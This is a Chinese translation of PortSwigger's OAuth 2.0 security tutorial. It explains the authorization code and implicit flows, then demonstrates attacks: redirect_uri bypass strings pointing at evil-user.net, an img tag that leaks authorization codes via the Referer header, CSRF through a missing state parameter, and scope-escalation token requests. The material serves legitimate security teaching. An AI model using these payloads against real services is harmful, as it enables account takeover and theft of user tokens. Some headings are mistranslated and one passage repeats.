天天看点

OAuth 2.0身份验证文章前言OAuth 2.0基本介绍OAuth 2.0如何工作OAuth 2.0授权范围OAuth 2.0授权类型OAuth 2.0验证机制OAuth 2.0验证漏洞OAuth 2.0验证识别OAuth 2.0服务侦查OAuth 2.0验证漏洞

文章前言

浏览网络时,几乎可以肯定您会遇到一些使您可以使用社交媒体帐户登录的网站,该功能很可能是使用流行的OAuth 2.0框架构建的,OAuth 2.0对于攻击者来说非常有趣,因为它非常常见,而且天生就容易出现实现错误,这可能导致许多漏洞,从而使攻击者可以获得敏感用户数据,并有可能绕过身份验证。

在本部分中,我们将教您如何识别和利用OAuth 2.0身份验证机制中的一些关键漏洞,如果您不太熟悉OAuth身份验证,请不要担心-我们提供了大量的背景信息,以帮助您了解所需的关键概念,我们还将探讨OAuth的OpenID Connect扩展程序中的一些漏洞,最后我们提供了一些有关如何保护自己的应用程序免受此类攻击的建议。

像往常一样,我们提供了一系列存在漏洞的网站,称为"实验室",以便您可以在实践中看到这些漏洞,并将所学的利用这些漏洞的知识进行测试,如果您想直接进入实验室,可以从我们的实验室索引页面访问完整列表。

https://portswigger.net/web-security/all-labs#oauth-authentication

OAuth 2.0基本介绍

OAuth是一种常用的授权框架,它使网站和Web应用程序可以请求对另一个应用程序上的用户帐户的有限访问权限,至关重要的是,OAuth允许用户授予此访问权限,而无需将其登录凭据暴露给发出请求的应用程序,这意味着用户可以微调他们想要共享的数据,而不必将其帐户的完全控制权交给第三方。

OAuth广泛用于集成第三方功能,这些功能需要访问用户帐户中的某些数据,例如,一个应用程序可能使用OAuth来请求访问您的电子邮件联系人列表,以便人们与之联系,但是相同的机制也用于提供第三方身份验证服务,允许用户使用其在其他网站上拥有的帐户登录。

注意:尽管OAuth 2.0是当前标准,但某些网站仍使用旧版本1a,OAuth 2.0是从头开始编写的,而不是直接从OAuth 1.0开发的,两者有很大的区别,下文中的术语"OAuth"专门指OAuth 2.0。

OAuth 2.0如何工作

OAuth 2.0最初是作为一种在应用程序之间共享对特定数据的访问的方式而开发的,它通过定义三个不同方(即客户端应用程序,资源所有者和OAuth服务提供者)之间的一系列交互来工作:

  • 客户端应用程序——要访问用户数据的网站或Web应用程序
  • 资源所有者——客户端应用程序要访问其数据的用户
  • OAuth服务提供商——控制用户数据及其访问的网站或应用程序,它们通过提供用于与授权服务器和资源服务器进行交互的API来支持OAuth

可以使用多种不同的方法来实现实际的OAuth流程,这些被称为"OAuth Flow"或"Grant Types",在本主题中,我们将重点介绍"Authorization Code"和"implicit"式授予类型,因为它们是最常见的,从广义上讲,这两种类型都涉及以下几个阶段:

  1. 客户端应用程序请求访问用户数据的子集,并指定他们要使用的授权类型以及他们想要的访问类型
  2. 系统会提示用户登录OAuth服务,并明确同意他们的请求访问权限
  3. 客户端应用程序收到一个唯一的访问令牌,该令牌证明他们具有访问权限,可以访问所请求的数据,实际情况如何发生,具体取决于访问类型
  4. 客户端应用程序使用此访问令牌进行API调用,以从资源服务器中获取相关数据

OAuth 2.0授权范围

对于任何OAuth授权类型,客户端应用程序都必须指定其要访问的数据以及要执行的操作类型,它使用scope发送到OAuth服务的授权请求的参数来执行此操作。

对于基本OAuth,客户端应用程序请求访问的范围对于每个OAuth服务都是唯一的,由于作用域的名称只是一个任意文本字符串,因此提供程序之间的格式可能会有很大差异,有些甚至使用完整的URI作为范围名称,类似于REST API Endpoit,例如,当请求对用户的联系人列表的读取访问权限时,作用域名称可能采用以下任何形式,具体取决于所使用的OAuth服务:

scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly           

复制

但是当使用OAuth进行身份验证时,通常会使用标准化的OpenID Connect作用域,例如,该范围openid profile将授予客户端应用程序对用户的预定义基本信息集(例如:电子邮件地址,用户名等)的读取访问权限,稍后我们将详细讨论OpenID Connect。

OAuth 2.0授权类型

OAuth授予类型确定OAuth流程中涉及的步骤的确切顺序,授予类型还会影响客户端应用程序在每个阶段与OAuth服务进行通信的方式,包括Access Token的发送方式,因此授权类型通常称为"OAuth Flows"。

在客户端应用程序启动相应的流程之前,必须将OAuth服务配置为支持特定的授予类型,客户端应用程序在发送给OAuth服务的初始授权请求中指定要使用的授权类型。

有几种不同的授予类型,每种类型都具有不同级别的复杂性和安全注意事项,我们将重点介绍"Authorization Code"和"implicit"授予类型,因为它们是最常见的。

授权码授予类型

授权码授予类型最初看起来很复杂,但实际上您熟悉一些基本知识后将变得极为简单。

简而言之,客户端应用程序和OAuth服务首先使用重定向来交换一系列基于浏览器的HTTP请求,以启动流程,询问用户是否同意请求的访问,如果他们接受,则向客户端应用程序授予"Authorization Code",然后客户端应用程序与OAuth服务交换此代码以接收"Access Token",它们可用于进行API调用以获取相关的用户数据。

从代码/令牌交换开始发生的所有通信都通过一个安全的、预配置的后台通道发送到服务器,因此终端用户看不到,当客户机应用程序首次向OAuth服务注册时,就会建立此安全通道,此时,还会生成一个client_secret,在发送这些服务器到服务器的请求时,客户端应用程序必须使用它来进行身份验证~

由于最敏感的数据(访问令牌和用户数据)不是通过浏览器发送的,因此这种授权类型可以说是最安全的,如果可能的话,服务器端应用程序最好总是使用这种授权类型

OAuth 2.0身份验证文章前言OAuth 2.0基本介绍OAuth 2.0如何工作OAuth 2.0授权范围OAuth 2.0授权类型OAuth 2.0验证机制OAuth 2.0验证漏洞OAuth 2.0验证识别OAuth 2.0服务侦查OAuth 2.0验证漏洞

1、Authorization request

客户机应用程序向OAuth服务的/授权端点发送请求,请求获得访问特定用户数据的权限,请注意,端点映射可能因提供者而异—我们的实验室为此使用的端点是/auth,但是您应该始终能够根据请求中使用的参数标识端点

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com           

复制

此请求包含以下值得注意的参数,通常在查询字符串中提供:

  • client_id:包含客户端应用程序唯一标识符的强制参数,当客户机应用程序向OAuth服务注册时,会生成此值
  • redirect_uri:将授权代码发送到客户端应用程序时,应重定向用户浏览器的URI,这也称为"callback URI"或"callback endpoint",许多OAuth攻击都是基于利用验证该参数时的缺陷
  • response_type:确定客户端应用程序期望的响应类型,因此确定要启动哪个流,对于授权代码授予类型,该值应为代码
  • scope:用于指定客户端应用程序要访问的用户数据的子集,这些可能是OAuth提供程序设置的自定义作用域,或者是OpenID连接规范定义的标准化作用域,稍后我们将详细介绍OpenID连接
  • state:存储与客户端应用程序上当前会话关联的唯一的、不可访问的值,OAuth服务应该在响应中返回这个精确的值,以及授权代码,通过确保对/callback端点的请求来自发起OAuth流的同一个人,此参数充当客户端应用程序的CSRF令牌的一种形式

2、User login and consent

当授权服务器接收到初始请求时,它会将用户重定向到一个登录页面,在该页面上会提示用户登录到OAuth提供程序的帐户,例如,用户的社交媒体帐户,之后它们将显示客户机应用程序希望访问的数据列表,这基于授权请求中定义的作用域,用户可以选择是否同意此访问,需要注意的是,一旦用户批准了客户机应用程序的给定范围,只要用户仍然与OAuth服务有一个有效的会话,这个步骤就会自动完成,换句话说,用户第一次选择"Log in with social media(使用社交媒体登录)"时,需要手动登录并给予同意,但如果以后重新访问客户端应用程序,通常只需单击一下就可以重新登录。

3. Authorization code grant

如果用户同意所请求的访问,则浏览器将重定向到授权请求的redirect_uri参数中指定的/callback端点,Get请求的响应包将包含Authorization Code作为查询参数,根据配置它还可以发送与授权请求中相同值的状态参数:

GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com           

复制

4. Access token request

一旦客户端应用程序接收到Authorization Code,它就需要将其交换为Access Token,为此,它向OAuth服务的/token端点发送一个服务器到服务器的POST请求,从这一点开始的所有通信都发生在安全的后台通道中,因此攻击者通常无法观察或控制。

POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8           

复制

除了客户机id和授权代码外,您还将注意到以下新参数:

  • client_secret:客户机应用程序必须通过包含在OAuth服务中注册时分配给它的密钥来进行身份验证
  • grant_type:用于确保新端点(知道客户端应用程序要使用哪种授予类型),在这种情况下,应将其设置为授权代码

5. Access token grant

OAuth服务将验证访问令牌请求,如果一切都如预期的那样,服务器将通过授予客户端应用程序一个具有所请求作用域的访问令牌来作出响应:

{
  "access_token": "z0y9x8w7v6u5",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "openid profile",
  …
}           

复制

6. API call

现在客户端应用程序有了访问代码,它最终可以从资源服务器获取用户的数据,为此它对OAuth服务的/userinfo端点进行API调用,访问令牌在Authorization:Bearer报头中提交,以证明客户端应用程序具有访问此数据的权限

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5           

复制

7. Resource grant

资源服务器应验证令牌是否有效,以及它是否属于当前客户端应用程序,如果是,它将根据访问令牌的作用域发送请求的资源,即用户的数据

{
  "username":"carlos",
  "email":"[email protected]",
  …
}           

复制

客户端应用程序最终可以将此数据用于其预期目的,在OAuth身份验证的情况下,它通常被用作一个ID来授予用户一个经过身份验证的会话,从而有效地让用户登录。

隐式授权类型

隐式授权类型要简单得多,客户端应用程序不是首先获取授权码然后将其交换为访问令牌,而是在用户同意后立即接收访问令牌,您可能想知道为什么客户端应用程序不总是使用隐式授予类型,答案相对简单——安全性要低得多。

当使用隐式授权类型时,所有通信都通过浏览器重定向进行-没有像授权码流中那样的安全后台通道,这意味着敏感访问令牌和用户的数据更容易受到潜在的攻击,隐式授权类型更适合于单页应用程序和本机桌面应用程序,它们不能轻松地在后端存储client_secret,因此使用授权码授权类型的好处不大。

OAuth 2.0身份验证文章前言OAuth 2.0基本介绍OAuth 2.0如何工作OAuth 2.0授权范围OAuth 2.0授权类型OAuth 2.0验证机制OAuth 2.0验证漏洞OAuth 2.0验证识别OAuth 2.0服务侦查OAuth 2.0验证漏洞

1、Authorization request

 implicit flow的启动方式与授权码流大致相同,唯一的主要区别是response类型参数必须设置为token

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com           

复制

2、User login and consent

用户登录并决定是否同意请求的权限,此过程与授权代码流的过程完全相同

3、Access token grant

如果用户同意访问请求,下面的处理就还是不同了,OAuth服务将用户的浏览器重定向到授权请求中指定的重定向uri,但是它不会发送包含授权码的查询参数,而是将访问令牌和其他令牌特定数据作为URL片段发送

GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com           

复制

由于访问令牌是在URL片段中发送的,因此它不会直接发送到客户机应用程序,相反,客户机应用程序必须使用合适的脚本来提取片段并存储它

4、API call

一旦客户端应用程序成功地从URL片段中提取Access Token,它就可以使用它对OAuth服务的/userinfo端点进行API调用,与授权代码流不同,这也会通过浏览器进行

GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5           

复制

5、Resource grant

资源服务器应验证Token是否有效,以及它是否属于当前客户端应用程序,如果是,它将根据与访问令牌相关联的作用域发送请求的资源,即用户的数据

{
  "username":"carlos",
  "email":"[email protected]"
}           

复制

客户端应用程序最终可以将此数据用于其预期目的,在OAuth身份验证的情况下,它通常被用作一个ID来授予用户一个经过身份验证的会话,从而有效地让用户登录

OAuth 2.0验证机制

尽管最初不是出于此目的,但OAuth已经发展成为一种验证用户身份的方法,例如,您可能熟悉许多网站提供的使用您现有的社交媒体帐户登录而不用必须向相关网站注册的选项,每当您看到此选项时,很有可能它是基于OAuth 2.0构建的。

对于OAuth身份验证机制,基本OAuth流程基本上保持相同,主要区别在于客户端应用程序如何使用其接收数据,从用户的角度来看,OAuth身份验证的结果在很大程度上类似于基于SAML的单点登录(SSO),在这些材料中,我们将专门关注这种类似于SSO的用例中的漏洞。

OAuth身份验证通常按以下方式实现:

  • 用户选择使用其社交媒体帐户登录的选项,然后客户端应用程序使用社交媒体网站的OAuth服务来请求访问一些可用于标识用户的数据,例如,这可能是在其帐户中注册的电子邮件地址
  • 接收访问令牌后,客户端应用程序通常从专用/userinfo端点向资源服务器请求此数据
  • 接收到数据后,客户端应用程序将使用它代替用户名来登录用户,从授权服务器接收到的访问令牌通常用于代替传统密码

在下面的实验中,您可以看到一个简单的示例,通过Burp代理流量时,只需完成"使用社交媒体登录"选项,然后研究代理历史中的一系列OAuth交互,您可以使用凭据登录wiener:peter(请注意,此实现故意存在漏洞-我们稍后将教您如何利用此漏洞。

通过OAuth隐式流进行身份验证绕过:

https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow

OAuth 2.0验证漏洞

出现OAuth身份验证漏洞的部分原因是OAuth规范在设计上相对模糊且灵活,尽管每种授权类型的基本功能都需要一些强制性组件,但是绝大多数实现都是完全可选的,这包括许多配置设置,这些设置对于确保用户数据的安全性是必需的,简而言之,不良做法潜伏着很多机会。

OAuth的另一个关键问题之一是普遍缺乏内置的安全功能,安全性几乎完全依赖于开发人员使用正确的配置选项组合并在顶部实施自己的其他安全性措施,例如强大的输入验证,正如您可能已经聚集的一样,这里有很多工作要做,如果您对OAuth不熟悉,这很容易出错。

根据授权类型,高度敏感的数据也会通过浏览器发送,这为攻击者提供了各种截获机会。

OAuth 2.0验证识别

识别应用程序是否使用OAuth身份验证相对简单,如果看到从其他网站使用您的帐户登录的选项,则强烈表明正在使用OAuth。

识别OAuth身份验证的最可靠方法是使用Burp代理您的流量,并在使用此登录选项时检查相应的HTTP消息,无论使用哪种OAuth授权类型,Flow的第一个请求始终是对/authorization端点的请求,该请求包含许多专门用于OAuth的查询参数,尤其注意client_id,redirect_uri和response_type参数,例如,授权请求通常如下所示:

GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com           

复制

OAuth 2.0服务侦查

对正在使用的OAuth服务进行一些基本的侦察,可以在识别漏洞时为您指明正确的方向。

不言而喻,您应该研究构成OAuth流的各种HTTP交互—我们稍后将讨论一些具体的问题。如果使用外部OAuth服务,您应该能够从向其发送授权请求的主机名中识别特定的提供者,由于这些服务提供了一个公共API,因此通常会有详细的文档,可以告诉您各种有用的信息,例如端点的确切名称以及正在使用的配置选项,一旦知道授权服务器的主机名,就应该始终尝试向以下标准端点发送GET请求:

/.well-known/oauth-authorization-server
/.well-known/openid-configuration           

复制

它们通常会返回一个包含关键信息的JSON配置文件,例如可能支持的其他特性的详细信息,这有时会向您提示文档中可能未提及的更广泛的攻击面和支持的功能

OAuth 2.0验证漏洞

客户端应用程序OAuth实现以及OAuth服务本身的配置中可能会出现漏洞,在本节中我们将向您展示如何利用这两种上下文中最常见的一些漏洞

客户端应用程序中的漏洞

客户端应用程序通常会使用信誉良好、经得起战斗的OAuth服务,该服务受到良好的保护,不受广为人知的攻击,但是它们自己的实现可能不那么安全,正如我们已经提到的,OAuth规范的定义相对松散,对于客户端应用程序的实现尤其如此,OAuth流中有许多活动部分,每个授予类型中都有许多可选参数和配置设置,这意味着存在大量错误配置的空间。

A、隐式授予类型实施不当

由于通过浏览器发送访问令牌会带来危险,因此建议将隐式授权类型主要用于单页应用程序,但是由于相对简单,它也经常用于经典的客户机-服务器web应用程序中。

在这个流程中,访问令牌作为URL片段通过用户的浏览器从OAuth服务发送到客户机应用程序,然后客户机应用程序使用JavaScript访问令牌,问题是,如果应用程序想在用户关闭页面后维护会话,它需要将当前用户数据(通常是用户ID和访问令牌)存储在某个地方。

为了解决这个问题,客户机应用程序通常会在POST请求中将这些数据提交给服务器,然后为用户分配一个会话cookie,从而有效地让他们登录,此请求大致相当于表单提交请求,该请求可能作为基于密码的经典登录的一部分发送,但是在这种情况下,服务器没有任何机密或密码与提交的数据进行比较,这意味着它是隐式信任的。

在隐式流中,此POST请求通过其浏览器暴露给攻击者,因此如果客户端应用程序未正确检查访问令牌是否与请求中的其他数据匹配,则此行为可能导致严重的漏洞,在这种情况下,攻击者只需更改发送到服务器的参数即可模拟任何用户。

B、CSRF保护缺陷

尽管OAuth流的许多组件是可选的,但是强烈建议使用其中一些组件,除非有重要的理由不使用它们,一个这样的例子是state参数。

理想情况下,state参数应该包含一个不可使用的值,比如在用户第一次启动OAuth流时绑定到用户会话的哈希值,然后该值作为客户机应用程序的CSRF令牌形式在客户机应用程序和OAuth服务之间来回传递,因此如果您注意到授权请求没有发送状态参数,从攻击者的角度来看,这是非常有趣的,这可能意味着它们可以在诱使用户的浏览器完成OAuth流之前自己启动OAuth流,类似于传统的CSRF攻击,这可能会产生严重的后果,具体取决于客户端应用程序使用OAuth的方式。

考虑一个网站,它允许用户使用经典的基于密码的机制登录,或者使用OAuth将其帐户链接到社交媒体概要文件,在这种情况下,如果应用程序未能使用state参数,攻击者可能会通过将客户机应用程序上的受害者用户的帐户绑定到其自己的社交媒体帐户来劫持该帐户。

请注意,如果站点允许用户通过OAuth以独占方式登录,那么state参数可以说不那么重要,但是不使用状态参数仍然允许攻击者构造登录CSRF攻击,从而诱使用户登录到攻击者的帐户。

OAuth服务中的漏洞

A、授权码泄漏和访问令牌

最臭名昭著的基于OAuth的漏洞可能是OAuth服务本身的配置使攻击者能够窃取授权码或访问与其他用户帐户相关的令牌,通过窃取有效的代码或令牌,攻击者可以访问受害者的数据,最终这可能会完全损害他们的帐户—攻击者可能会以受害者用户身份登录到使用此OAuth服务注册的任何客户端应用程序。

根据授予类型,代码或令牌通过受害者的浏览器发送到授权请求的redirect\u uri参数中指定的/回调端点,如果OAuth服务未能正确验证此URI,攻击者可能会构造类似CSRF的攻击,诱使受害者的浏览器启动OAuth流,将代码或令牌发送给攻击者控制的重定向URI。

在授权代码流的情况下,攻击者可能会在使用受害者的代码之前窃取该代码,然后,他们可以将此代码发送到客户端应用程序的合法/回调端点(原始的重定向uri)以访问用户的帐户,在这种情况下,攻击者甚至不需要知道客户机机密或由此产生的访问令牌,只要受害者与OAuth服务有一个有效的会话,客户端应用程序就会代表攻击者完成代码/令牌交换,然后再将它们登录到受害者的帐户。

请注意,使用状态或nonce保护不一定能防止这些攻击,因为攻击者可以从自己的浏览器生成新值,而更安全的授权服务器也需要在交换代码时发送重定向uri参数,然后服务器可以检查这是否与它在初始授权请求中收到的匹配,如果不匹配,则拒绝交换,由于这种情况发生在通过安全后台通道的服务器到服务器请求中,攻击者无法控制第二个重定向uri参数。

B、有缺陷的范围验证

由于在上一个实验室中看到的攻击种类繁多,因此客户端应用程序在向OAuth服务注册时最好提供其真实回调uri的白名单,这样当OAuth服务接收到一个新请求时,它就可以根据这个白名单验证redirect_uri参数,在这种情况下,提供外部URI可能会导致错误,但是仍然有一些方法可以绕过这种验证。

在审核OAuth流时,应该尝试使用redirect_uri参数来了解它是如何被验证的,例如:

  • 一些实现只检查字符串是否以正确的字符序列(即已批准的域)开始,从而允许一系列子目录,您应该尝试删除或添加任意路径、查询参数和片段,以查看可以在不触发错误的情况下进行哪些更改
  • 如果可以将额外的值附加到默认的redirect_uri参数,那么就可以利用OAuth服务的不同组件对uri的解析之间的差异,例如您可以尝试以下技术
https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/           

复制

您可能偶尔会遇到服务器端参数污染漏洞,为了以防万一,您应该尝试提交重复的重定向uri参数,如下所示:

https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net           

复制

  • 一些服务器还对localhost uri进行了特殊处理,因为它们在开发过程中经常被使用,在某些情况下,任何以localhost开头的重定向URI可能会意外地被允许在生产环境中使用,这可能允许您通过注册域名(例如)来绕过验证localhost.evil-user.net,而需要注意的是,您不应该将测试局限于单独探测redirect_uri参数,在野外,通常需要对多个参数的不同更改组合进行试验,有时更改一个参数会影响其他参数的验证,例如,将response_mode从query更改为fragment有时会完全改变redirect_uri的解析,从而允许您提交否则将被阻止的uri,同样,如果您注意到支持web_message模式,这通常会允许redirect_uri中有更广泛的子域。
  • 未验证的用户注册

C、通过代理页窃取代码和访问令牌

对于更健壮的目标,您可能会发现,无论您尝试什么,都无法成功地将外部域作为redirect_uri提交,然而这并不意味着是时候放弃了。

到了这个阶段,您应该对URI的哪些部分可以进行篡改有了比较好的了解,现在的关键是使用这些知识来尝试访问客户端应用程序本身中更广泛的攻击面,换句话说,尝试确定是否可以将redirect_uri参数更改为指向白名单域上的任何其他页面。

尝试找到可以成功访问不同子域或路径的方法,例如,默认URI通常位于OAuth特定的路径上,例如/OAuth/callback,它不太可能有任何有趣的子目录,但是您可以使用目录遍历技巧来提供域上的任意路径,像这样:

https://client-app.com/oauth/callback/../../example/path           

复制

后端可解释为:

https://client-app.com/example/path           

复制

一旦确定了可以设置为重定向URI的其他页面,就应该对这些页面进行审计,以查找可能用于泄漏代码或令牌的其他漏洞,对于授权code flowing,需要找到允许访问查询参数的漏洞,而对于隐式授权类型,则需要提取URL片段。

因此最有用的漏洞之一是开放重定向,您可以使用它作为代理,将受害者及其代码或令牌转发到攻击者控制的域,在该域中您可以托管任何您喜欢的恶意脚本。

请注意,对于隐式授予类型,窃取访问令牌不仅仅使您能够登录到客户机应用程序上的受害者帐户,由于整个隐式流是通过浏览器进行的,因此您还可以使用令牌对OAuth服务的资源服务器进行自己的API调用,这可能使您能够从客户端应用程序的web UI获取通常无法访问的敏感用户数据。

除了打开重定向之外,您还应该查找允许您提取代码或令牌并将其发送到外部域的任何其他漏洞,一些好的例子包括:

  • 处理查询参数和URL片段的危险JavaScript
  • 例如,不安全的web消息传递脚本可以很好地实现这一点,在某些情况下,您可能需要确定一个较长的gadget链,该链允许您在最终将令牌泄漏到外部域之前通过一系列脚本传递令牌
  • XSS漏洞,尽管XSS攻击本身会产生巨大的影响,但攻击者通常会在一个很短的时间内访问用户的会话,然后再关闭选项卡或离开,由于HTTPOnly属性通常用于会话cookie,攻击者通常也无法使用XSS直接访问它们,但是通过窃取OAuth代码或令牌,攻击者可以在自己的浏览器中访问用户的帐户,这给了他们更多的时间来浏览用户的数据和执行有害的操作,显著增加了XSS漏洞的严重性。
  • HTML注入漏洞,在不能注入JavaScript的情况下(例如,由于CSP约束或严格过滤),仍然可以使用简单的HTML注入来窃取授权代码,如果您可以将redirect_uri参数指向一个页面,您可以在该页面上注入自己的HTML内容,那么您可能会通过Referer头泄漏代码,例如,考虑以下img元素:<img src=“evil-user.net">. 当尝试获取此图像时,某些浏览器(如Firefox)将在请求的Referer头中发送完整的URL,包括查询字符串。

D、有缺陷的范围验证

在任何OAuth流中,用户必须根据授权请求中定义的范围批准请求的访问,生成的令牌允许客户端应用程序仅访问用户批准的范围,但在某些情况下,由于OAuth服务的错误验证,攻击者可能会使用额外权限"升级"访问令牌(被盗或使用恶意客户端应用程序获取),执行此操作的过程取决于授予类型。

对于授权码授予类型,用户的数据将通过安全的服务器到服务器通信进行请求和发送,而第三方攻击者通常无法直接操纵该通信。但是,通过向OAuth服务注册自己的客户机应用程序,仍然可以获得相同的结果。

例如,假设攻击者的恶意客户端应用程序最初使用openid email作用域请求访问用户的电子邮件地址。用户批准此请求后,恶意客户端应用程序将收到授权代码。当攻击者控制其客户端应用程序时,他们可以将另一个作用域参数添加到包含其他概要文件作用域的代码/令牌交换请求中:

范围升级:授权码流

对于授权码授予类型,用户的数据将通过安全的服务器到服务器通信进行请求和发送,而第三方攻击者通常无法直接操纵该通信,但是通过向OAuth服务注册自己的客户机应用程序,仍然可以获得相同的结果。

例如,假设攻击者的恶意客户端应用程序最初使用openid email作用域请求访问用户的电子邮件地址,用户批准此请求后,恶意客户端应用程序将收到授权代码,当攻击者控制其客户端应用程序时,他们可以将另一个作用域参数添加到包含其他概要文件作用域的代码/令牌交换请求中:

POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile           

复制

如果服务器没有根据初始授权请求的作用域对此进行验证,它有时会使用新的作用域生成访问令牌,并将其发送到攻击者的客户端应用程序:

{
  "access_token": "z0y9x8w7v6u5",
  "token_type": "Bearer",
  "expires_in": 3600,
  "scope": "openid email profile",
  …
}           

复制

然后攻击者可以使用其应用程序进行必要的API调用,以访问用户的配置文件数据

作用域升级:隐式流

对于隐式授权类型,访问令牌通过浏览器发送,这意味着攻击者可以窃取与无辜客户端应用程序关联的令牌并直接使用它们,一旦他们窃取了一个访问令牌,他们就可以向OAuth服务的/userinfo端点发送一个基于浏览器的普通请求,在这个过程中手动添加一个新的scope参数。

理想情况下,OAuth服务应该根据生成令牌时使用的范围值来验证这个范围值,但情况并非总是这样,只要调整后的权限不超过先前授予此客户端应用程序的访问级别,攻击者就有可能访问其他数据,而无需用户的进一步批准。

未验证的用户注册

当通过OAuth对用户进行身份验证时,客户机应用程序会隐式地假设OAuth提供者存储的信息是正确的,这可能是一个危险的假设。

一些提供OAuth服务的网站允许用户注册帐户,而不必验证他们的所有详细信息,在某些情况下还包括他们的电子邮件地址,攻击者可以通过使用与目标用户相同的详细信息(例如已知的电子邮件地址)向OAuth提供程序注册帐户来利用此漏洞,然后客户端应用程序可能允许攻击者通过OAuth提供程序的此欺诈帐户作为受害者登录

OpenID Connect扩展OAuth

在用于身份验证时,OAuth通常使用OpenID连接层进行扩展,该层提供了一些与识别和验证用户相关的附加功能,有关这些特性的详细描述,以及与它们可能引入的漏洞相关的更多实验室,请参阅我们的OpenID Connect主题。

防止OAuth身份验证漏洞

对于开发人员,我们提供了一些指导,说明如何避免将这些漏洞引入自己的网站和应用程序~

原英文版本链接:https://portswigger.net/web-security/oauth